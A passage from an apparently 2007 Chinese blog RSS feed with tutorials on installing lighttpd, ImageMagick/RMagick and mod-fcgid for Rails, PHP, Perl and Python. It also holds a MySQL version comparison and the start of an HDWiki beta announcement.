pcre</font></div><div>如果没有，请从Linux安装光盘里面安装。</div><div> </div><div>然后下载lighttpd：</div><div><a href="http://www.lighttpd.net/download/">http://www.lighttpd.net/download/</a></div><div><font>tar xzvf lighttpd-1.4.13.tar.gz</font></div><div><font>cd lighttpd-1.4.13</font></div><div><font>./configure --prefix=/usr/local/lighttpd</font></div><div> </div><div>configure完毕以后，会给出一个激活的模块和没有激活模块的清单，可以检查一下，是否自己需要的模块都已经激活，在enable的模块中一定要有&ldquo;mod_rewrite&rdquo;这一项，否则重新检查pcre是否安装。然后编译安装：</div><div><font>make &amp;&amp; make install </font></div><div> </div><div>编译后配置：</div><div><font>cp doc/sysconfig.lighttpd /etc/sysconfig/lighttpd</font></div><div><font>mkdir /etc/lighttpd</font></div><div><font>cp doc/lighttpd.conf /etc/lighttpd/lighttpd.conf</font></div><div> </div><div>如果你的Linux是RedHat/CentOS，那么：</div><div><font>cp doc/rc.lighttpd.redhat /etc/init.d/lighttpd</font></div><div>如果你的Linux是SuSE，那么：</div><div><font>cp doc/rc.lighttpd /etc/init.d/lighttpd</font></div><div>其他Linux发行版本可以自行参考该文件内容进行修改。然后修改/etc/init.d/lighttpd，把</div><div><font>LIGHTTPD_BIN=/usr/sbin/lighttpd</font></div><div>改为</div><div><font>LIGHTTPD_BIN=/usr/local/lighttpd/sbin/lighttpd</font></div><div> </div><div>此脚本用来控制lighttpd的启动关闭和重起：</div><div><font>/etc/init.d/lighttpd start </font></div><div><font>/etc/init.d/lighttpd stop </font></div><div><font>/etc/init.d/lighttpd restart</font></div><div> </div><div>如果你希望服务器启动的时候就启动lighttpd，那么：</div><div><font>chkconfig lighttpd on</font></div><div> </div><div>这样lighttpd就安装好了，接下来需要配置lighttpd。</div><div> </div><div><strong><span>配置</span></strong><strong><span>Lighttpd</span></strong></div><div> </div><div>修改/etc/lighttpd/lighttpd.conf</div><div> </div><div>1）server.modules</div><div>取消需要用到模块的注释，mod_rewrite，mod_access，mod_fastcgi，mod_simple_vhost，mod_cgi，mod_compress，mod_accesslog是一般需要用到的。</div><div> </div><div>2）server.document-root, server.error-log，accesslog.filename需要指定相应的目录</div><div> </div><div>3）用什么权限来运行lighttpd</div><div><font>server.username<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     = &quot;nobody&quot;</span></font></div><div><font>server.groupname<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     = &quot;nobody&quot;</span></font></div><div>从安全角度来说，不建议用root权限运行web server，可以自行指定普通用户权限。</div><div> </div><div>4）静态文件压缩</div><div><font>compress.cache-dir<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     = &quot;/tmp/lighttpd/cache/compress&quot;</span></font></div><div><font>compress.filetype<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     = (&quot;text/plain&quot;, &quot;text/html&quot;,&quot;text/javascript&quot;,&quot;text/css&quot;)</span></font></div><div>可以指定某些静态资源类型使用压缩方式传输，节省带宽，对于大量AJAX应用来说，可以极大提高页面加载速度。</div><div> </div><div>5）配置ruby on rails</div><div> </div><div>最简单的配置如下：</div><div><font>$HTTP[&quot;host&quot;] == &quot;www.xxx.com&quot; {</font></div><div><font> server.document-root = &quot;/yourrails/public&quot;</font></div><div><font> server.error-handler-404 = &quot;/dispatch.fcgi&quot;</font></div><div><font> fastcgi.server = (&quot;.fcgi&quot; =&gt;</font></div><div><font><span>&nbsp;&nbsp;&nbsp;     (&quot;localhost&quot; =&gt;</span></font></div><div><font><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     (&quot;min-procs&quot; =&gt; 10,</span></font></div><div><font><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     &quot;max-procs&quot; =&gt; 10,</span></font></div><div><font><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     &quot;socket&quot; =&gt; &quot;/tmp/lighttpd/socket/rails.socket&quot;,</span></font></div><div><font><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     &quot;bin-path&quot; =&gt; &quot;/yourrails/public/dispatch.fcgi&quot;,</span></font></div><div><font><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     &quot;bin-environment&quot; =&gt; (&quot;RAILS_ENV&quot; =&gt; &quot;production&quot;)</span></font></div><div><font><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;     )</span></font></div><div><font><span>&nbsp;&nbsp;&nbsp;     )</span></font></div><div><font> )</font></div><div><font>}</font></div><div>即由lighttpd启动10个FCGI进程，lighttpd和FCGI之间使用本机Unix Socket通信。</div><div> </div><div> </div><div><strong><span>六、安装</span></strong><strong><span>ImageMagick</span></strong><strong><span>和</span></strong><strong><span>RMagic</span></strong></div><div> </div><div>RMagic是ruby处理图片需要用到的库，很多ruby应用由于都涉及图片处理的功能，往往需要依赖RMagic，但安装ImageMagick和RMagic相当烦琐，需要特别的说明。</div><div> </div><div><strong><span>安装</span></strong><strong><span>ImageMagick</span></strong></div><div><a href="http://www.imagemagick.org/">http://www.imagemagick.org</a></div><div>ImageMagick是用C语言实现的图形处理库，有Unix版本和Windows版本。对于Unix版本来说，安装比较麻烦些，另外不建议 安装ImageMagick二进制版本，往往会导致缺少某些图片处理功能，导致RMagic安装失败。下载ImageMagick源代码，解压缩，配置：</div><div><font>tar xzvf ImageMagick-6.2.9-0.tar.gz</font></div><div><font>cd tar xzvf ImageMagick-6.2.9</font></div><div><font>./configure --prefix=/usr/local/ImageMagick</font></div><div> </div><div>观察配置后给出来的支持图形格式，看看该图形格式支持是否是yes，如果不是，那么必须先安装该图形格式的本地库。例如，你应该检查是否已经安装如下rpm包：</div><div><font>rpm &ndash;qa |grep libpng</font></div><div><font>rpm &ndash;qa |grep libpng-devel</font></div><div><font>rpm &ndash;qa |grep libjpeg</font></div><div><font>rpm &ndash;qa |grep gd-devel</font></div><div>如果你希望支持tiff格式，还应该检查</div><div><font>rpm &ndash;qa |grep libtiff</font></div><div>如果没有安装，那么在Linux安装光盘找到相应rpm包安装上，再次configure直到确认需要的图形格式全部支持为止，然后编译安装：</div><div><font>make &amp;&amp; make install</font></div><div> </div><div>由于ImageMagic被安装在我们自行指定的/usr/local/ImageMagick，后面安装RMagic会找不到需要用到的ImageMagic的命令和库，因此需要配置一下操作系统：</div><div> </div><div>编辑/etc/profile里面的PATH环境变量，在最后面加入：</div><div><font>export PATH=/usr/local/ruby/bin:/usr/local/ImageMagick/bin:$PATH</font></div><div> </div><div>编辑/etc/ld.so.conf，加入：</div><div><font>/usr/local/ImageMagick/lib</font></div><div>执行命令：</div><div><font>ldconfig</font></div><div>将ImageMagick的库加入系统联接库</div><div> </div><div>然后注销当前用户重新登录，便于环境变量修改生效，执行：</div><div><font>convert logo: logo.gif</font></div><div>看是否正确生成一个logo.gif的图片文件。</div><div> </div><div><strong><span>安装</span></strong><strong><span>RMagic</span></strong></div><div><a href="http://rubyforge.org/projects/rmagick/">http://rubyforge.org/projects/rmagick/</a></div><div>在rubyfoge上面下载RMagic的源代码发行包，不要下载gem包，然后解压缩编译：</div><div><font>./configure </font></div><div><font>make &amp;&amp; make install</font></div><div> </div><div>如果配置和编译过程没有报错，即大功告成。</div><div> </div><div>对于MacOSX来说，安装RMagic以上步骤会出错，请参考：</div><div><a href="http://rmagick.rubyforge.org/install-osx.html">http://rmagick.rubyforge.org/install-osx.html</a></div><div> </div><div>总体来说，ImageMagick和RMagic的安装很容易出错，安装起来比较困难，如果碰到无法解决的问题，可以通过Google寻求解决办法。<br><br>参考：<br>http://www.zhangzhang.net/articles/2006/09/30/Linux-Installs-Ruby-On-Rails<br>http://bbs.ecstart.com/redirect.php?tid=17093&amp;goto=lastpost<br>http://www.javaeye.com/topic/43228</div></div>]]></description>
	    <author><![CDATA[worldbol]]></author>
	    <comments>http://worldbol.blog.163.com/blog/static/5779016920071027114235718</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://worldbol.blog.163.com/blog/static/5779016920071027114235718</guid>
    <pubDate>Tue, 27 Nov 2007 11:42:35 +0800</pubDate>
    <dcterms:modified>2007-11-27T11:42:35+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[FastCGI(mod-fcgid),PHP5,Perl,Python,ROR]]></title>	
    <link>http://worldbol.blog.163.com/blog/static/5779016920071027114135718</link>
    <description><![CDATA[<div>本文主要介绍在Debian/Etch版本下将Apache对PHP/Perl/Python/Ruby On Rails的支持，由单独的apache模块统一改为FastCGI支持,对全新安装Apache也可作参考<br><br>注意:如果升级到Apache2.2,注意apache2.2与2.0的一些区别，尤其是授权认证部分，分成了几个module,所以可能需要自己enable，如果您直接装apache2.2，无须担心.<br><br><font color="#800080">mod_imap 被更名为 <code >mod_imagemap</code><br>mod_auth 被拆分为 <code >mod_auth_basic</code>、<code >mod_authn_file</code>、<code >mod_authz_user</code>、<code >mod_authz_groupfile</code><br>mod_access 被更名为 <code >mod_authz_host</code><br>mod_auth_ldap 被更名为 <code >mod_authnz_ldap</code></font><br><h3>FastCGI的好处</h3>1)可以支持在一个系统上支持同一种脚本不同版本的解释器,如PHP4, PHP5<br>2)只要安装一个apache 的module后，就可同时支持PHP, Python, Perl等，没有必要为它们安装各自的module<br>3)获得更好的权限控制，比PHP运行在安全模式更安全，国外大的虚拟主机供应商如DreamHost,BlueHost, Godaddy等都是采用<br>mod-fcgid或者mod_fastcgi来实现对PHP的支持<br><br>0.这里用的mod-fcgid，符合GPL条款的，而不是那个mod_fastcgi(它在debian的non-free) 并且mod-fcgid与apache2配合得更好<br><br>1.如果你用fastCGI 来统一支持这些脚本的话,先将<br>libapache2-mod-php5,<br>libapache2-mod-perl2,<br>libapache2-mod-python2.4<br>等模块去掉,当然你也可以按照你的需要保留部分模块<br><pre>apt-get remove libapache2-mod-php5 libapache2-mod-perl2 libapache2-mod-python2.4</pre><h3>2.安装mod-fcgid</h3><pre>apt-get install libapach2-mod-fcgid</pre><br>3.检查PHP是否支持FastCGI<br>一般而言，如果你以前安装了mod_php,那么php5-cgi应该已经装上了<br><pre>ls /usr/bin/php5-cgi</pre><br>或者<br><pre>/usr/bin/phpt-cgi -v</pre><br>相信会有<br>(cgi-fcgi) <br>的字样<br><br>如果没有装上，则先装上php5-cgi<br><pre>apt-get install php5-cgi</pre><h3>4.检查fcgid的配置</h3>/etc/apache2/mods-enabled/fcgid.conf (这是个到mods-availabe目录的符号连接)<br>应该有一个标准配置<br><span >&lt;IfModule mod_fcgid.c&gt;<br>  AddHandler fcgid-script .fcgi<br>  SocketPath /var/lib/apache2/fcgid/sock<br>  IPCConnectTimeout 20<br>&lt;/IfModule&gt;  </span><br><br>宜将/etc/apache2/mods-enabled/fcgid.conf改为 <br><pre>&lt;IfModule mod_fcgid.c&gt;<br>  AddHandler fcgid-script <font color="#ff0000">.php .py .pl .fcgi</font><br>  SocketPath /var/lib/apache2/fcgid/sock<br>  IPCConnectTimeout 20<br>&lt;/IfModule&gt;</pre><br>以增加对php py pl等扩展名的支持<br><br>当然还可以添加其他配置指令(当然这些不是必要的，默认的配置基本上就可以了)来修改默认的一些配置,如<br>IdleTimeout 600<br>ProcessLifeTime 3600<br>MaxProcessCount 8<br>DefaultMinClassProcessCount 3<br>DefaultMaxClassProcessCount 3<br>IPCConnectTimeout 8<br>IPCCommTimeout 48<br> 具体的配置指令在后面列出<br><br><br>5.检查模块的载入<br>/etc/apache2/mods-enabled/fcgid.load<br>应该有<br>LoadModule fcgid_module /usr/lib/apache2/modules/mod_fcgid.so<br><br>6.修改Apache的主机配置,增加对PHP的支持<br>/etc/apache2/sites-enabled/000-default中添加一句<br><span >FCGIWrapper /usr/bin/php5-cgi .php<br></span>以增加对php的支持<br>变成类似于<br><pre>&lt;Directory /var/www/&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  FCGIWrapper /usr/bin/php5-cgi .php<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Options ExecCGI SymLinksIfOwnerMatch<br>&lt;/Directory&gt;</pre><br>当然，如果你没有 移除 mod_php的话，就是说你还想用默认的(标准的)的PHP支持，FCGIWrapper就没有必要加上了。但如果你使用FCGI的话，注意<strong>Option ExeCGI</strong>必须添加上，否则给出403错误，报告没有权限访问 .php等文件<br><br>你还可同时增加 对PHP4 PHP5的支持(你必须Php4,php5都装上)<br><tt>  FCGIWrapper /usr/bin/php4-cgi .php4 .php<br>FCGIWrapper /usr/bin/php5-cgi .php5</tt><br><br><br>7.增加对Python的支持 在000-default里或者其他虚拟主机配置文件的段里加上<br>ScriptAlias /python /var/www/python/index.py<br><br>这样，访问  你的主机 http://localhost/python就会 将请求转给  /var/www/python/index.py<br><br>注意，你的 index.py必要引用 python的fastcgi接口,建议你使用这个(Trac系统也是使用这个fastcgi接口)<a href="http://trac.saddi.com/flup/browser/py-lib/trunk/fcgi.py?format=raw">fcgi.py</a><br><br><br>这里给出我的index.py作为参考<br><br><pre>#!/usr/bin/python<br><br>try:<br>&nbsp;&nbsp;&nbsp;  from fcgi import WSGIServer<br><br>&nbsp;&nbsp;&nbsp;  def myapp(environ, start_response):<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  start_response('200 OK', [('Content-Type', 'text/plain')])<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  return ['Hello World!\n']<br><br>&nbsp;&nbsp;&nbsp;  WSGIServer(myapp).run()<br><br>except Exception, e:<br>&nbsp;&nbsp;&nbsp;  print 'Content-Type: text/plain\r\n\r\n',<br>&nbsp;&nbsp;&nbsp;  print 'Oops...'<br>&nbsp;&nbsp;&nbsp;  print<br>&nbsp;&nbsp;&nbsp;  print 'Trac detected an internal error:'<br>&nbsp;&nbsp;&nbsp;  print<br>&nbsp;&nbsp;&nbsp;  print e<br>&nbsp;&nbsp;&nbsp;  print&nbsp;&nbsp;&nbsp;</pre>(注意，必须将fcgi.py放到index.py同一目录,否则import找不到模块)<br><br>如果上面的index.py能正常 打印 Hello World!就说明基本上配置好了<br><br>注意,<br>1)fcgi.py必须放到 index.py可以找到的地方，比如index.py同一目录下 或者 site-package 目录<br>2)index.py必须有<strong>可执行</strong>的属性,否则 会 抛出 <strong>内部服务器错误(Internal Server Error)<br><br></strong>如果你需要配置某个目录下.py都可执行，可用这段配置文件<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  ScriptAlias /python/ /home/gavin/py/<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;Directory &quot;/home/gavin/py&quot;&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  DirectoryIndex index.html index.py index.pl index.php<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  AllowOverride None<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Options ExecCGI -MultiViews +SymLinksIfOwnerMatch<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Order allow,deny<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Allow from all<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;/Directory&gt;<br><br>这样,/python/下的任何一个.py文件都会执行，比如，将下面这段代码保存为hello.py<br>#!/usr/bin/python<br>from fcgi import WSGIServer<br><br>def myapp(environ, start_response):<br>&nbsp;&nbsp;&nbsp;  start_response('200 OK', [('Content-Type', 'text/plain')])<br>&nbsp;&nbsp;&nbsp;  return ['upsdn.net:Hello World!\n']<br><br>WSGIServer(myapp).run()<br>放到 /home/gavin/py/目录<br>访问/python/hello.py就可看到hello world<br><br><br>8.配置Ruby On Rails<br><br>主要就是利用rewrite将请求分发给rails脚本<br>RewriteEngine On <br>RewriteCond %{REQUEST_FILENAME} !-f<br>RewriteRule ^(.*)$ dispatch.fcgi [QSA,L] 其他与标准FastCGI配置类似  <br>下面这个是Typo的一个示范配置<br><pre>&lt;VirtualHost *:80&gt;<br>ServerName foo.example.com<br><br>&lt;Location /journal&gt;<br>    RewriteEngine On<br>    # Let apache handle purely static files like images by itself.<br>    RewriteCond %{REQUEST_FILENAME} !-f<br>    # Send Everything else to Typo<br>    RewriteRule ^(.*)$ dispatch.fcgi [QSA,L] <br>&lt;/Location&gt;<br><br>&lt;Directory /sites/foo.example.com/public_html/journal&gt;<br>    # ExecCGI is required for mod_fcgid to work.<br>    Options Indexes FollowSymLinks ExecCGI<br>    # Disable .htaccess files.<br>    AllowOverride None<br>    Order allow,deny<br>    Allow from all<br>    # This tells mod_fcgid to run the dispatch.fcgi script as a FastCGI<br>    # AddHandler fcgid-script .fcgi<br>&lt;/Directory&gt;</pre>当然你也可以安装通用的fastcgi ruby库<br>ap-get install libfcgi-ruby<br>或者你需要设置<br><pre>DefaultInitEnv RAILS_ENV production</pre>更详细的东西请参考ROR相关文章<br><br><br>9.配置perl<br>  首先安装perl的FastCGI模块，Debian当然用apt-get来安装了<br><pre>apt-get install libfcgi-perl</pre>(将安装FCGI.pm,&nbsp;&nbsp;&nbsp;  CGI::Fast 依赖于这个模块)<br><br>你也可利用CPAN来安装<br><pre># perl -MCPAN -e shell</pre>直接回车，都用默认配置就行了<pre>cpan  <strong>install FCGI</strong><br>cpan  <strong>install CGI::Fast</strong><br>cpan  <strong>quit</strong></pre><br>安装后验证一下这个hello.pl脚本(用FCGI模块, 只需要FCGI.pm即可)<br><br><pre>#!/usr/bin/perl<br>use FCGI;<br>my $request = FCGI::Request();<br>while($request-&gt;Accept() &gt;= 0)<br>{<br>  print &quot;Content-type: text/html\n\n&quot;;<br>  print &quot;&lt;H1&gt;&lt;b&gt;Hello World!&lt;/b&gt;&lt;/H1&gt;&quot;;<br>}<br><br>exit 0;</pre>或者试一下这个counter.cgi,&nbsp;&nbsp;  用CGI:Fast模块(需要FCGI.pm和CGI.pm)<pre>#!/usr/bin/perl -w<br>use strict;<br>use CGI::Fast qw(:standard);<br><br>my $counter = 0;<br>my $title = &quot;Fast CGI counter&quot;;<br>while (new CGI::Fast) {<br>  print header;<br>  print start_html $title;<br>  print h1 $title;<br>  print &quot;Invocation number: &quot;, b($counter++), &quot;, PID: &quot;, b($$), &quot;.&quot;, hr;<br>  print end_html;<br>}</pre>10.好了，现在你的系统应该配置好了mod_fcgid了，并且支持Perl,PHP,Python,Ruby on Rails<br>提示:发现500 内部服务器错误时，先检查脚本权限，然后在CLI环境运行是否正常，最后再在CGI环境下验证</div>]]></description>
	    <author><![CDATA[worldbol]]></author>
	    <comments>http://worldbol.blog.163.com/blog/static/5779016920071027114135718</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://worldbol.blog.163.com/blog/static/5779016920071027114135718</guid>
    <pubDate>Tue, 27 Nov 2007 11:41:35 +0800</pubDate>
    <dcterms:modified>2007-11-27T11:41:35+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[Rails 创建 Web 应用程序]]></title>	
    <link>http://worldbol.blog.163.com/blog/static/577901692007102323035718</link>
    <description><![CDATA[<div><br>&lt;1、&gt; <strong><font color="#ff0000">rails mybbs</font></strong>&nbsp;&nbsp;    创建一个web项目，名字叫做 mybbs<br>然后<strong>cd mybbs</strong><br>&lt;2、&gt; <font color="#ff0000"><strong>ruby script/generate controller topic</strong></font>  创建一个controller，名字为 topic  <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;    ruby script/generate model contact&nbsp;&nbsp;    创建一个model ，名字为 contact&nbsp;&nbsp;    <br>&lt;3、&gt; 打开 book_controller.rb 书写 方法<br>&lt;4、&gt; 书写view<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;    <br>参考 ：<br>http://book.csdn.net/bookfiles/40/<br><a target="_blank" href="http://www-128.ibm.com/developerworks/cn/linux/l-rubyrails/">http://www-128.ibm.com/developerworks/cn/linux/l-rubyrails/</a><br><a href="http://instantrails.rubyforge.org/wiki/wiki.pl?Instant_Rails" target="_blank">http://instantrails.rubyforge.org/wiki/wiki.pl?Instant_Rails</a></div>]]></description>
	    <author><![CDATA[worldbol]]></author>
	    <comments>http://worldbol.blog.163.com/blog/static/577901692007102323035718</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://worldbol.blog.163.com/blog/static/577901692007102323035718</guid>
    <pubDate>Fri, 23 Nov 2007 14:30:35 +0800</pubDate>
    <dcterms:modified>2007-11-23T14:30:35+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[mysql4.0 4.1 5.0 5.1 6.0 对比]]></title>	
    <link>http://worldbol.blog.163.com/blog/static/5779016920071023115135719</link>
    <description><![CDATA[<div><strong>MySQL 4.0</strong><br>MySQL 4.0是在2003年3月发布的，该版本使新的基于MySQL的应用程序获得了更广泛的应用。但是在4.0版中，MySQL不支持存储过程、触发程序、服 务器端指针或视图。MySQL 4.0是从3.23发展而来，较之3.23版本有了很大的提高，主要适用于Web站点，这时候的MySQL还不是一个企业级数据库。<br>以下是MySQL 4.0的主要新特性：<br>FULLTEXT索引：最值得用户期待的可能就是FULLTEXT索引。<br>FULLTEXT在文本字段创建索引，为对该索引执行布尔搜索提供了一个强大而灵活的机制。依照一般的开发经验，开发人员通常必须创建索引并访问文本数据，而FULLTEXT索引比想象中的还要好得多。<br>许多解决方案仅限于全字索引，FULLTEXT索引没有这种限制，允许开发人员添加或拆分词组。<br>ANSI SQL UNION：支持ANSI SQL UNION语句，该语句将询问结果汇集到一个结果集。<br>多表操作：可以执行多表UPDATE和DELETE。<br>新语句：增加了其他DBMS用户所熟悉的一些非标准的新语句（如IDENTITY和TRUNCATE TABLE），以及FOUND_ROWS()等新功能，这些功能可以返回无需LIMIT子句就能返回的纪录的编号。<br>InnoDB存储引擎：InnoDB存储引擎在当时作为服务器的标准特性，在4.0版本中成为一个附加选项。InnoDb是允许ACID兼容事务的表类型，而非默认的MyISAM表类型，它可以加快一般性使用的速度，但对于关键操作不是十分有用。<br>InnoDB表使用行级别锁定特性，这意味着对一个记录的更新只锁定该记录，而不是整个表。当选择访问大量的数据库时（对于大多数Web站点而言），锁 定整个表相当快，但是当插入和更新的数量接近于选项的数量时，则速度较慢。长期以来，对MySQL的批评一直集中在MyISAM表的安全性和一致性问题， 兼容ACID的InnoDB表在解决这些问题上走过了很长一段路。<br>查询缓存：MySQL 4.0在某些情况下可以更快捷。这主要通过查询缓存得以实现，它将重复的查询结果存储起来，使速度得以提高，尽管许多成熟的应用程序在某个代码级别上执行自己的查询缓存功能。某些语句在速度上也有所提高。<br>Embededded Server：MySQL 4.0附带了一个Embededded Server库，允许应用程序以MySQL作为底层数据库。<br>latin1_de ：MySQL 4.0支持一个额外字符集latin1_de，它可确保正确存储德语单词。<br>MyISAM：MySQL 4.0中的MyISAM表目前在表级别上支持符号链接，所以Windows用户可以在表级别上创建符号链接（这对于Unix用户始终有效）。<br>安全模型：MySQL 4.0的安全模型得到了增强，允许管理员更加细致地授权许可。新的权限允许用户创建临时表、锁定表、执行某些复制任务、查看所有现有的数据库，甚至在达到 最大连接限度时还能进行连接&mdash;&mdash;对于DBA执行紧急任务非常有用，甚至允许运行存储过程（在MySQL 5中实现了此功能）。DBA依靠增强的安全模式也可以限制用户每小时的连接、更新或查询次数。<br>MySQL 4设计运行在Novell Netware 6.0之上。另外，MySQL服务器变量中有不少可以在不重新启动服务器的情况下进行更改，由于重新启动会恢复旧的设置，因此这个特性非常有用。<br><br><strong>MySQL 4.1</strong><br>MySQL 4.1推出之后，对于某些用户而言，4.1比MySQL 4.0具有更激动人心的升级可能：<br>MySQL 4.1支持子查询。<br><br>不使用子查询时，许多查询可以更有效地编写，但是会有例外。子查询是标准ANSI SQL特性。<br>支持Unicode (UTF-8)，允许更广泛地进行国际化。<br>每个列、表或数据库都可以设置不同的字符集，如果以多种语言存储数据，这就很有必要了。<br>支持地理数据（OpenGIS）。<br>增强的警告发送。如果一个不够，MySQL 4.1可以将多个警告发送到客户端，这样就对于整体数据处理十分有用。<br>提高了一些速度。但这些速度提高可能被MySQL 4.1所承担的所有额外部分抵消。<br>尽管MySQL手册是发布的最好手册之一，MySQL 4.1还是附带了仅适用于该版本的HELP命令。<br>支持派生表，例如：<br>SELECT table1.field1 FROM table, (SELECT * FROM table2) table3 WHERE table1.field1=table3.field1<br>支持多行查询，允许运行多个查询，然后读取最终结果。<br>各种维护语句将存入二进制日志中，在复制时您可以简化维护任务。<br>CREATE…LIKE允许开发人员按现有表的精确结构轻松地创建新表。<br>另外，MySQL 4.1的三个显著功能包括：稳定的OpenSSL支持、更多的测试准备语句、更多的测试一个表的多个字符集。<br>MySQL 4.1或许是第一个实际&ldquo;长大成人&rdquo;的MySQL版本。由于4.1版本中一些新增加的特性和功能（例如地理数据、子选择语句、派生表），Oracle第一次开始真正关注MySQL。<br><br><strong>MySQL 5.0</strong><br>支持存储过程。存储过程是一个开发人员在其他数据库环境最常用的ANSI SQL标准，对于MySQL来说，这已经姗姗来迟了。MySQL 5.0所支持的存储过程的语法类似于Oracle PL/SQL和T-SQL。<br>触发程序（发生某个事件时所称的存储过程）<br>支持指针<br>真正支持VARCHAR数据类型，解决了一个长期存在的MySQL VARCHAR bug。<br>在MyISAM表中对RTREE索引的支持，将使访问地理数据变得很容易。<br><br><br><strong>MySQL 5.1<br><br></strong> 支持表分割<br>事件调度程序改进<br>集群改进<br>备份功能的改进<br><br>中文参考手册：<a href="http://dev.mysql.com/doc/refman/5.1/zh/index.html" target="_blank">http://dev.mysql.com/doc/refman/5.1/zh/index.html</a><br><br><strong>MySQL 6.0<br><br></strong>自主存储引擎 采用Falcon存储引擎<br><br>更多参见:http://dev.mysql.com/doc/refman/6.0/en/mysql-nutshell.html</div>]]></description>
	    <author><![CDATA[worldbol]]></author>
	    <comments>http://worldbol.blog.163.com/blog/static/5779016920071023115135719</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://worldbol.blog.163.com/blog/static/5779016920071023115135719</guid>
    <pubDate>Fri, 23 Nov 2007 11:51:35 +0800</pubDate>
    <dcterms:modified>2007-11-23T11:51:35+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[HDWiki(For Discuz!) V 1.0 Beta版 今天发布了！]]></title>	
    <link>http://worldbol.blog.163.com/blog/static/577901692007102272835719</link>
    <description><![CDATA[<div><span><font size="3" color="#000000">忙了两个星期，终于发布了！<br><br>HDWiki(For Discuz!) V 1.0 Beta版目前只能支持Discuz! 6.0 简体GBK版本。</font></span><p style="margin: 0cm 0cm 0pt;" > </p><p style="margin: 0cm 0cm 0pt;" ><span><font size="4" color="red"><strong>下载地址</strong></font></span></p><p style="margin: 0cm 0cm 0pt;" ><span><a href="http://kaiyuan.hoodong.com/download.php?n=HDWiki-for-discuz-V1.0beta.zip"><font size="4" color="blue">http://kaiyuan.hoodong.com/download.php?n=HDWiki-for-discuz-V1.0beta.zip</font></a></span></p><p style="margin: 0cm 0cm 0pt;" > </p><p style="margin: 0cm 0cm 0pt;" ><span><font size="4" color="red"><strong>用途如下</strong></font></span></p><p style="margin: 0cm 0cm 0pt;" ><span><font size="3" color="#000000">（1）、创建本论坛的专业知识库，知识库词条可以在帖子正文自动刷成内部链接，鼠标摸上去，会弹示出词条摘要。</font></span><span><font size="3" color="#000000">如下图所示</font></span></p><p style="margin: 0cm 0cm 0pt;" ><span><font size="3" color="#000000"> <img width="716" border="0" alt="点击在新窗口查看全图CTRL+鼠标滚轮放大或缩小" src="http://kaiyuan.hoodong.com/bbs/attachments/month_0711/20071122_5eccc305822ed9b8e938fwWEl0m4O6fQ.jpg" style="cursor: pointer;"><span style="position: absolute; left: 216px; top: 487px;"><img border="0" src="http://kaiyuan.hoodong.com/bbs/images/boygj1/attachimg.gif"></span></font></span></p><p style="margin: 0cm 0cm 0pt;" > </p><p style="margin: 0cm 0cm 0pt;" ><span><font size="3" color="#000000">（2）、创建本论坛自定义内文广告系统，广告标题可以在帖子正文自动刷成内部链接，鼠标摸上去，会弹示出广告摘要。<span><font size="3" color="#000000">如下图所示</font></span></font></span></p><p style="margin: 0cm 0cm 0pt;" ><span><font size="3" color="#000000"><span><img border="0" src="http://kaiyuan.hoodong.com/bbs/attachments/month_0711/20071122_ae2014e65e8b20f302181S0Sjyd0lUqk.jpg"><span style="position: absolute; left: 208px; top: 847px; display: none;"><img border="0" src="http://kaiyuan.hoodong.com/bbs/images/boygj1/attachimg.gif"></span></span></font></span></p><p style="margin: 0cm 0cm 0pt;" > </p><span><font size="3" color="#000000"><span><p style="margin: 0cm 0cm 0pt;" ><br><font size="4" color="red"><strong>使用帮助</strong></font></p><p style="margin: 0cm 0cm 0pt;" ><a 